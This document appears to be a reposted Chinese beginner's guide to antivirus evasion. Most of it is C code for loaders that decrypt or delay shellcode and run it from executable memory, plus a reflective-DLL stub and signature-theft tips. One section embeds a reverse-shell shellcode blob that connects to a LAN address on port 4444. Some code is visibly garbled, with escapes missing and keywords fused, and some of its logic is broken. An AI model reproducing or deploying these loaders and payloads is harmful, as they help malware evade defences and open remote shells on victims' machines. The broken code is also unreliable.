没什么用的前言
我好像追逐了一些没有结果的东西,一直活在梦里,现在感冒发烧打了自己几巴掌,醒了。从今天起我要连续更新,成为绝世剑神。
文章前言-免杀介绍
免杀(BypassAV)是指通过各种技术手段,使恶意软件或工具绕过杀毒软件的检测,从而在目标系统中执行而不被拦截。本文将结合入门与进阶内容,详细讲解免杀的基础知识、专业名词、技术分类、示例代码以及相关工具,帮助小白全面掌握免杀技术。
一、免杀基础知识
1. 什么是免杀?
免杀是指通过修改恶意软件的行为、代码结构或加载方式,使其不被杀毒软件检测到。免杀技术广泛应用于渗透测试、红队攻防等领域。
2. 免杀的常见目标
-
• Windows Defender:Windows系统自带的安全防护工具。 -
• 360安全卫士:国内常见的杀毒软件,检测能力较强。 -
• 火绒:一款轻量级的国产杀软,以低误报率著称。 -
• 卡巴斯基、ESET、Norton:国外常见的杀软,检测能力较强。
3. 免杀的核心思想
-
• 降低特征匹配:减少杀软特征库中匹配到的特征。 -
• 行为隐藏:通过混淆、加密、分离加载等方式隐藏恶意行为。 -
• 利用系统机制:利用系统API、回调函数等合法机制执行恶意代码。
二、免杀中的专业名词
1. Shellcode
-
• 定义:一段用于执行特定功能的机器代码,通常以二进制形式存在。 -
• 用途:常用于反向连接、持久化等操作。 -
• 免杀方法:加密、混淆、分离加载。 -
• 小白解释:就像一段魔法咒语,念出来就能实现特定功能。🧙♂️✨
2. Loader(加载器)
-
• 定义:用于加载和执行Shellcode的程序。 -
• 用途:将加密或混淆的Shellcode加载到内存中执行。 -
• 免杀方法:使用合法API、回调函数、多线程等技术。 -
• 小白解释:就是一个程序启动器,用来启动需要启动的恶意程序。🚀📂
3. 混淆(Obfuscation)
-
• 定义:通过修改代码结构、变量名、控制流等,使代码难以理解。 -
• 用途:降低杀软静态分析的效果。 -
• 常见工具:ConfuserEx、Dotfuscator。 -
• 小白解释:就像把一篇文章写得乱七八糟,谁也看不懂。📜🤪
4. 熵值(Entropy)
-
• 定义:衡量数据随机性的指标,熵值越高,数据越随机。 -
• 用途:杀软通过检测高熵值数据来识别加密的恶意代码。 -
• 免杀方法:降低Shellcode的熵值,例如分段加载。 -
• 小白解释:就像检测食物的辣度,太辣了就会引起注意。🌶️👀
5. 签名(Signature)
-
• 定义:用于验证程序合法性的数字证书。 -
• 用途:劫持合法签名可以绕过杀软的信任机制。 -
• 免杀工具:SigThief。 -
• 小白解释:就像伪造身份证,骗过安检人员。🆔🕵️♂️
6. Reflective DLL Injection(反射式DLL注入)
-
• 定义:一种将DLL直接加载到目标进程内存中的技术,无需将DLL写入磁盘。 -
• 用途:常用于绕过杀软的文件扫描和静态检测。 -
• 小白解释:就像把一本书的内容直接塞进别人的脑子里,不用把书递给他。📚🧠
7. Process Hollowing(进程镂空)
-
• 定义:一种将合法进程的内容替换为恶意代码的技术。 -
• 用途:常用于隐藏恶意代码的行为。 -
• 小白解释:就像把一个苹果挖空,里面塞了个炸弹,外面看起来还是个苹果。🍎💣
8. API Hooking(API钩子)
-
• 定义:一种拦截和修改API调用的技术。 -
• 用途:常用于隐藏恶意行为或修改程序行为。 -
• 小白解释:就像在电话线上装个窃听器,偷听并修改对方的通话内容。📞🕵️♂️
9. Code Cave(代码洞穴)
-
• 定义:一段未被使用的内存区域,可以用来插入额外的代码。 -
• 用途:常用于隐藏恶意代码或增加功能。 -
• 小白解释:就像在墙里挖个洞,里面藏了把钥匙。🔑🏠
10. Sandbox Evasion(沙箱逃逸)
-
• 定义:一种检测和逃避沙箱环境的技术。 -
• 用途:常用于避免在沙箱中被检测。 -
• 小白解释:就像在实验室里装正常人,一出实验室就变身坏蛋。🧪🦹♂️
三、免杀技术分类
1. 静态免杀
-
• 定义:通过修改文件结构、代码或资源,避免杀软静态扫描检测。 -
• 常见方法: -
• 混淆代码 -
• 加密Shellcode -
• 添加合法签名 -
• 修改文件图标 -
• 示例代码:
// Base64混淆Shellcode
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
// 简单Base64解码函数
unsignedchar* base64_decode(constchar* input) {
// 实现Base64解码逻辑(此处省略具体实现)
return (unsignedchar*)input; // 实际需正确解码
}
intmain() {
constchar* base64_shellcode = "aGVsbG8gd29ybGQ="; // 示例Base64编码的Shellcode
unsignedchar* shellcode = base64_decode(base64_shellcode);
// 分配内存并执行
void* exec = VirtualAlloc(0, strlen((char*)shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, strlen((char*)shellcode));
((void(*)())exec)();
return0;
}
// RC4加密Shellcode
#include<windows.h>
#include<string.h>
// RC4加密算法实现
voidrc4_crypt(unsignedchar *data, int data_len, unsignedchar *key, int key_len) {
unsignedchar S[256];
int i, j = 0;
// 初始化S数组
for (i = 0; i < 256; i++) {
S[i] = (unsignedchar)i;
}
// 密钥调度算法 (KSA)
for (i = 0; i < 256; i++) {
j = (j + S[i] + key[i % key_len]) & 0xFF; // 等同于模256运算
// 交换S[i]和S[j]
unsignedchar temp = S[i];
S[i] = S[j];
S[j] = temp;
}
// 伪随机数生成算法 (PRGA)
i = 0;
j = 0;
for (int k = 0; k < data_len; k++) {
i = (i + 1) & 0xFF;
j = (j + S[i]) & 0xFF;
// 交换S[i]和S[j]
unsignedchar temp = S[i];
S[i] = S[j];
S[j] = temp;
// 生成伪随机数,并与数据异或
unsignedchar rnd = S[(S[i] + S[j]) & 0xFF];
data[k] ^= rnd;
}
}
intmain() {
unsignedchar shellcode[] = "xfcxe8x82x00x00x00x60x89xe5x31xd2x64x8b"; // 示例Shellcode
unsignedchar key[] = "secretkey"; // 加密密钥
rc4_crypt(shellcode, sizeof(shellcode) - 1, key, sizeof(key) - 1);
// 分配内存并执行
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
return0;
}
// AES加密Shellcode
#include<windows.h>
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
// --- AES基本常量与辅助函数 ---
// AES S-box
staticconstunsignedchar sbox[256] = {
/* 0x00 */0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
/* 0x10 */0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
/* 0x20 */0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
/* 0x30 */0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
/* 0x40 */0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
/* 0x50 */0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
/* 0x60 */0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
/* 0x70 */0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
/* 0x80 */0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
/* 0x90 */0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
/* 0xA0 */0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
/* 0xB0 */0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
/* 0xC0 */0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
/* 0xD0 */0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
/* 0xE0 */0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
/* 0xF0 */0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
};
// AES Rcon数组,用于密钥扩展(注意第一个元素未用)
staticconstunsignedchar Rcon[11] = {
0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36
};
// xtime函数:GF(2^8)中乘2运算
unsignedcharxtime(unsignedchar x) {
return (x << 1) ^ ((x >> 7) & 1 ? 0x1B : 0);
}
// --- AES核心函数 ---
// 添加轮密钥:将状态数组与轮密钥异或
voidAddRoundKey(unsignedchar state[16], constunsignedchar roundKey[16]) {
for (int i = 0; i < 16; i++)
state[i] ^= roundKey[i];
}
// 字节代换:使用S-box对状态数组中每个字节替换
voidSubBytes(unsignedchar state[16]) {
for (int i = 0; i < 16; i++)
state[i] = sbox[state[i]];
}
// 行移位:对状态数组的每一行进行循环左移
voidShiftRows(unsignedchar state[16]) {
unsignedchar temp[16];
// 第一行不变
temp[0] = state[0];
temp[4] = state[4];
temp[8] = state[8];
temp[12] = state[12];
// 第二行左移1位
temp[1] = state[5];
temp[5] = state[9];
temp[9] = state[13];
temp[13] = state[1];
// 第三行左移2位
temp[2] = state[10];
temp[6] = state[14];
temp[10] = state[2];
temp[14] = state[6];
// 第四行左移3位
temp[3] = state[15];
temp[7] = state[3];
temp[11] = state[7];
temp[15] = state[11];
memcpy(state, temp, 16);
}
// 列混合:对状态数组的每一列进行混合变换
voidMixColumns(unsignedchar state[16]) {
for (int i = 0; i < 4; i++) {
int col = i * 4;
unsignedchar a0 = state[col];
unsignedchar a1 = state[col+1];
unsignedchar a2 = state[col+2];
unsignedchar a3 = state[col+3];
// 根据GF(2^8)运算实现2和3的乘法
unsignedchar b0 = xtime(a0) ^ (xtime(a1) ^ a1) ^ a2 ^ a3;
unsignedchar b1 = a0 ^ xtime(a1) ^ (xtime(a2) ^ a2) ^ a3;
unsignedchar b2 = a0 ^ a1 ^ xtime(a2) ^ (xtime(a3) ^ a3);
unsignedchar b3 = (xtime(a0) ^ a0) ^ a1 ^ a2 ^ xtime(a3);
state[col] = b0;
state[col+1] = b1;
state[col+2] = b2;
state[col+3] = b3;
}
}
// 密钥扩展:由16字节的初始密钥扩展得到176字节的轮密钥
voidKeyExpansion(constunsignedchar* key, unsignedchar roundKeys[176]) {
memcpy(roundKeys, key, 16);
int bytesGenerated = 16;
int rconIteration = 1;
unsignedchar temp[4];
while (bytesGenerated < 176) {
// 取前4个字节
for (int i = 0; i < 4; i++)
temp[i] = roundKeys[bytesGenerated - 4 + i];
// 每16字节时,进行密钥调度核心变换
if (bytesGenerated % 16 == 0) {
// 循环左移1字节
unsignedchar t = temp[0];
temp[0] = temp[1];
temp[1] = temp[2];
temp[2] = temp[3];
temp[3] = t;
// S-box代换
for (int i = 0; i < 4; i++)
temp[i] = sbox[temp[i]];
// 与Rcon异或
temp[0] ^= Rcon[rconIteration];
rconIteration++;
}
// 生成新一轮密钥字节
for (int i = 0; i < 4; i++) {
roundKeys[bytesGenerated] = roundKeys[bytesGenerated - 16] ^ temp[i];
bytesGenerated++;
}
}
}
// 对单个16字节数据块进行AES-128加密
voidAES_encrypt_block(constunsignedchar in[16], unsignedchar out[16], constunsignedchar roundKeys[176]) {
unsignedchar state[16];
memcpy(state, in, 16);
// 初始轮密钥加
AddRoundKey(state, roundKeys);
// 9轮常规轮变换
for (int round = 1; round < 10; round++) {
SubBytes(state);
ShiftRows(state);
MixColumns(state);
AddRoundKey(state, roundKeys + round * 16);
}
// 第10轮(无MixColumns)
SubBytes(state);
ShiftRows(state);
AddRoundKey(state, roundKeys + 10 * 16);
memcpy(out, state, 16);
}
// --- CBC模式下的AES加密函数 ---
// 这里对数据按16字节分组,数据不足16字节时使用零填充
voidaes_encrypt(unsignedchar *data, int data_len, unsignedchar *key, unsignedchar *iv) {
// 计算填充后数据长度(16的倍数)
int padded_len = ((data_len + 15) / 16) * 16;
unsignedchar *buffer = (unsignedchar *)malloc(padded_len);
memcpy(buffer, data, data_len);
// 对不足部分使用0填充
memset(buffer + data_len, 0, padded_len - data_len);
unsignedchar roundKeys[176];
KeyExpansion(key, roundKeys);
unsignedchar prev[16];
memcpy(prev, iv, 16);
// 按16字节块进行CBC加密
for (int i = 0; i < padded_len; i += 16) {
// 与前一个密文块(或IV)异或
for (int j = 0; j < 16; j++)
buffer[i+j] ^= prev[j];
unsignedchar out[16];
AES_encrypt_block(buffer + i, out, roundKeys);
memcpy(buffer + i, out, 16);
// 更新prev为当前密文块
memcpy(prev, out, 16);
}
// 将加密后的数据复制回原data中(注意:可能比原data长,如果data所在空间足够)
memcpy(data, buffer, padded_len);
free(buffer);
}
// --- 主函数示例 ---
// 加密Shellcode后分配内存并执行
intmain() {
// 示例Shellcode
unsignedchar shellcode[] = "xfcxe8x82x00x00x00x60x89xe5x31xd2x64x8b";
unsignedchar key[] = "1234567890123456"; // 16字节密钥
unsignedchar iv[] = "1234567890123456"; // 16字节初始化向量
int shellcode_len = sizeof(shellcode) - 1; // 排除字符串结束符
// 执行AES CBC加密(原地加密,填充可能会扩充数据,使用时请确保足够空间)
aes_encrypt(shellcode, shellcode_len, key, iv);
// 分配内存并执行加密后的Shellcode
void* exec = VirtualAlloc(0, shellcode_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, shellcode_len);
((void(*)())exec)();
return0;
}
参考代码
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// ---------------- RC4加密 ----------------
void rc4_crypt(unsigned char *data, int data_len, unsigned char *key, int key_len) {
unsigned char S[256];
int i, j = 0;
// 初始化S数组
for (i = 0; i < 256; i++) {
S[i] = (unsigned char)i;
}
// 密钥调度算法 (KSA)
for (i = 0; i < 256; i++) {
j = (j + S[i] + key[i % key_len]) & 0xFF;
unsigned char temp = S[i];
S[i] = S[j];
S[j] = temp;
}
// 伪随机数生成算法 (PRGA)
i = 0;
j = 0;
for (int k = 0; k < data_len; k++) {
i = (i + 1) & 0xFF;
j = (j + S[i]) & 0xFF;
unsigned char temp = S[i];
S[i] = S[j];
S[j] = temp;
unsigned char rnd = S[(S[i] + S[j]) & 0xFF];
data[k] ^= rnd;
}
}
// ---------------- AES加密(纯C实现,无第三方库) ----------------
// AES S-box
static const unsigned char sbox[256] = {
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
};
// AES Rcon数组,用于密钥扩展
static const unsigned char Rcon[11] = {
0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36
};
// xtime函数:GF(2^8)中乘2运算
unsigned char xtime(unsigned char x) {
return (x << 1) ^ ((x >> 7) & 1 ? 0x1B : 0);
}
// 添加轮密钥
void AddRoundKey(unsigned char state[16], const unsigned char roundKey[16]) {
for (int i = 0; i < 16; i++)
state[i] ^= roundKey[i];
}
// 字节代换
void SubBytes(unsigned char state[16]) {
for (int i = 0; i < 16; i++)
state[i] = sbox[state[i]];
}
// 行移位
void ShiftRows(unsigned char state[16]) {
unsigned char temp[16];
// 第一行
temp[0] = state[0];
temp[4] = state[4];
temp[8] = state[8];
temp[12] = state[12];
// 第二行左移1位
temp[1] = state[5];
temp[5] = state[9];
temp[9] = state[13];
temp[13] = state[1];
// 第三行左移2位
temp[2] = state[10];
temp[6] = state[14];
temp[10] = state[2];
temp[14] = state[6];
// 第四行左移3位
temp[3] = state[15];
temp[7] = state[3];
temp[11] = state[7];
temp[15] = state[11];
memcpy(state, temp, 16);
}
// 列混合
void MixColumns(unsigned char state[16]) {
for (int i = 0; i < 4; i++) {
int col = i * 4;
unsigned char a0 = state[col];
unsigned char a1 = state[col+1];
unsigned char a2 = state[col+2];
unsigned char a3 = state[col+3];
unsigned char b0 = xtime(a0) ^ (xtime(a1) ^ a1) ^ a2 ^ a3;
unsigned char b1 = a0 ^ xtime(a1) ^ (xtime(a2) ^ a2) ^ a3;
unsigned char b2 = a0 ^ a1 ^ xtime(a2) ^ (xtime(a3) ^ a3);
unsigned char b3 = (xtime(a0) ^ a0) ^ a1 ^ a2 ^ xtime(a3);
state[col] = b0;
state[col+1] = b1;
state[col+2] = b2;
state[col+3] = b3;
}
}
// 密钥扩展:16字节密钥扩展到176字节轮密钥
void KeyExpansion(const unsigned char* key, unsigned char roundKeys[176]) {
memcpy(roundKeys, key, 16);
int bytesGenerated = 16;
int rconIteration = 1;
unsigned char temp[4];
while (bytesGenerated < 176) {
for (int i = 0; i < 4; i++)
temp[i] = roundKeys[bytesGenerated - 4 + i];
if (bytesGenerated % 16 == 0) {
// 循环左移1字节
unsigned char t = temp[0];
temp[0] = temp[1];
temp[1] = temp[2];
temp[2] = temp[3];
temp[3] = t;
// S-box代换
for (int i = 0; i < 4; i++)
temp[i] = sbox[temp[i]];
// 与Rcon异或
temp[0] ^= Rcon[rconIteration];
rconIteration++;
}
for (int i = 0; i < 4; i++) {
roundKeys[bytesGenerated] = roundKeys[bytesGenerated - 16] ^ temp[i];
bytesGenerated++;
}
}
}
// 对单个16字节数据块进行AES-128加密
void AES_encrypt_block(const unsigned char in[16], unsigned char out[16], const unsigned char roundKeys[176]) {
unsigned char state[16];
memcpy(state, in, 16);
// 初始轮密钥加
AddRoundKey(state, roundKeys);
// 9轮常规轮
for (int round = 1; round < 10; round++) {
SubBytes(state);
ShiftRows(state);
MixColumns(state);
AddRoundKey(state, roundKeys + round * 16);
}
// 第10轮(无MixColumns)
SubBytes(state);
ShiftRows(state);
AddRoundKey(state, roundKeys + 10 * 16);
memcpy(out, state, 16);
}
// CBC模式下的AES加密(零填充)
void aes_encrypt(unsigned char *data, int data_len, unsigned char *key, unsigned char *iv, int *padded_len) {
// 计算填充后的数据长度
intlen = ((data_len + 15) / 16) * 16;
*padded_len = len;
unsigned char *buffer = (unsigned char *)malloc(len);
memcpy(buffer, data, data_len);
memset(buffer + data_len, 0, len - data_len);
unsigned char roundKeys[176];
KeyExpansion(key, roundKeys);
unsigned char prev[16];
memcpy(prev, iv, 16);
// 对每个16字节块进行CBC加密
for (int i = 0; i < len; i += 16) {
for (int j = 0; j < 16; j++)
buffer[i+j] ^= prev[j];
unsigned char out[16];
AES_encrypt_block(buffer + i, out, roundKeys);
memcpy(buffer + i, out, 16);
memcpy(prev, out, 16);
}
// 将加密结果复制回data(确保data空间足够)
memcpy(data, buffer, len);
free(buffer);
}
// ---------------- 主函数:双重加密Shellcode并执行 ----------------
int main() {
// 示例Shellcode
unsigned char shellcode_original[] = "xfcxe8x82x00x00x00x60x89xe5x31xd2x64x8b";
int orig_len = sizeof(shellcode_original) - 1; // 排除结束符
// 为加密预留足够空间(AES零填充到16字节倍数)
int padded_len = ((orig_len + 15) / 16) * 16;
unsigned char *buffer = (unsigned char *)malloc(padded_len);
memset(buffer, 0, padded_len);
memcpy(buffer, shellcode_original, orig_len);
// RC4加密(第一重加密)
unsigned char rc4_key[] = "secretkey";
int rc4_key_len = sizeof(rc4_key) - 1;
rc4_crypt(buffer, orig_len, rc4_key, rc4_key_len);
// AES加密(第二重加密)
unsigned char aes_key[] = "1234567890123456"; // 16字节密钥
unsigned char aes_iv[] = "1234567890123456"; // 16字节IV
int aes_padded_len = 0;
aes_encrypt(buffer, orig_len, aes_key, aes_iv, &aes_padded_len);
// 分配可执行内存(使用AES加密后的长度)
void* exec = VirtualAlloc(0, aes_padded_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(exec == NULL) {
printf("VirtualAlloc failedn");
free(buffer);
return-1;
}
memcpy(exec, buffer, aes_padded_len);
// 清理加密缓冲区
free(buffer);
// 执行解密后的Shellcode(注:实际场景中,Shellcode需先解密后才能执行,此处仅展示加密链路)
((void(*)())exec)();
return0;
}
2. 动态免杀
-
• 定义:通过隐藏运行时行为,避免杀软动态检测。 -
• 常见方法: -
• 分离加载Shellcode -
• 使用合法API -
• 多线程技术 -
• 延迟执行 -
• 示例代码:
// 延迟执行Shellcode
Sleep(5000); // 延迟5秒
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
参考代码
#include<windows.h>
unsignedchar shellcode[] =
"xfcxe8x82x00x00x00x60x89xe5x31xd2x64x8bx52x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
"x77x26x07xffxd5xb8x90x01x00x00x29xc4x54x50x68"
"x29x80x6bx00xffxd5x6ax0ax68xc0xa8x01x02x68x02"
"x00x11x5cx89xe6x50x50x50x50x40x50x40x50x68xea"
"x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61"
"xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00"
"x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83"
"xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a"
"x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57"
"x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00"
"x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68"
"x75x6ex4dx61xffxd5x5ex5exffx0cx24xe9x71xffxff"
"xffx01xc3x29xc6x75xc1xc3";
intmain() {
Sleep(5000); // 延迟5秒
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
return0;
}
3. 内存免杀
-
• 定义:将恶意代码加载到内存中执行,避免文件落地触发杀软检测。 -
• 常见方法: -
• 使用反射加载技术 -
• 利用进程注入 -
• 使用合法的内存分配API -
• 示例代码:
// 反射加载DLL
void* dllMemory = VirtualAlloc(NULL, dllSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(dllMemory, dllData, dllSize);
((void(*)())dllMemory)();
参考代码
#include<windows.h>
// 嵌入DLL二进制数据(示例使用MessageBoxA)
unsignedchar dllData[] = {
// 此处放置DLL的二进制数据(实际需替换为真实DLL)
};
intmain() {
DWORD dllSize = sizeof(dllData);
void* dllMemory = VirtualAlloc(NULL, dllSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(dllMemory, dllData, dllSize);
// 执行DLL入口函数
((void(*)())dllMemory)();
return0;
}
4. 行为免杀
-
• 定义:通过模拟合法程序的行为,避免引起杀软怀疑。 -
• 常见方法: -
• 限制恶意代码的执行条件 -
• 使用合法的系统回调函数 -
• 模拟用户操作行为 -
• 示例代码:
// 限制执行条件
if (IsAdmin() && IsTargetMachine()) {
ExecuteMaliciousCode();
}
参考代码
#include<windows.h>
BOOL IsAdmin() {
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID AdministratorsGroup;
if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup))
return FALSE;
BOOL isAdmin;
CheckTokenMembership(NULL, AdministratorsGroup, &isAdmin);
FreeSid(AdministratorsGroup);
return isAdmin;
}
BOOL IsTargetMachine() {
char hostname[256];
GetComputerName(hostname, &size);
return _stricmp(hostname, "TARGET-MACHINE") == 0;
}
intmain() {
if (IsAdmin() && IsTargetMachine()) {
// 执行恶意代码
MessageBox(NULL, "Malicious code executed!", "Info", MB_OK);
}
return0;
}
四、免杀工具推荐
1. SigThief
-
• 用途:劫持合法程序的签名,用于免杀。 -
• 下载地址:SigThief GitHub
2. ConfuserEx
-
• 用途:混淆.Net程序,降低被检测的概率。 -
• 下载地址:ConfuserEx GitHub
3. Cobalt Strike
-
• 用途:提供多种免杀技术,适合高级渗透测试。 -
• 学习资源:Cobalt Strike 免杀技术
五、总结与建议
免杀技术是一门需要不断学习和实践的技能。对于初学者来说,建议从C/C++语言入手,掌握基本的免杀原理和技术,逐步扩展到其他语言和工具。同时,关注杀软的最新检测机制和免杀技术的发展,才能在攻防对抗中占据优势。
参考资料:
-
• 免杀基础篇 -
• 免杀技术汇总 -
• 加载器总结
希望本文能帮助你快速入门免杀技术,开启你的BypassAV之旅!🚀🔓
原文始发于微信公众号(苍夜安全):免杀BypassAV小白入门指南
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论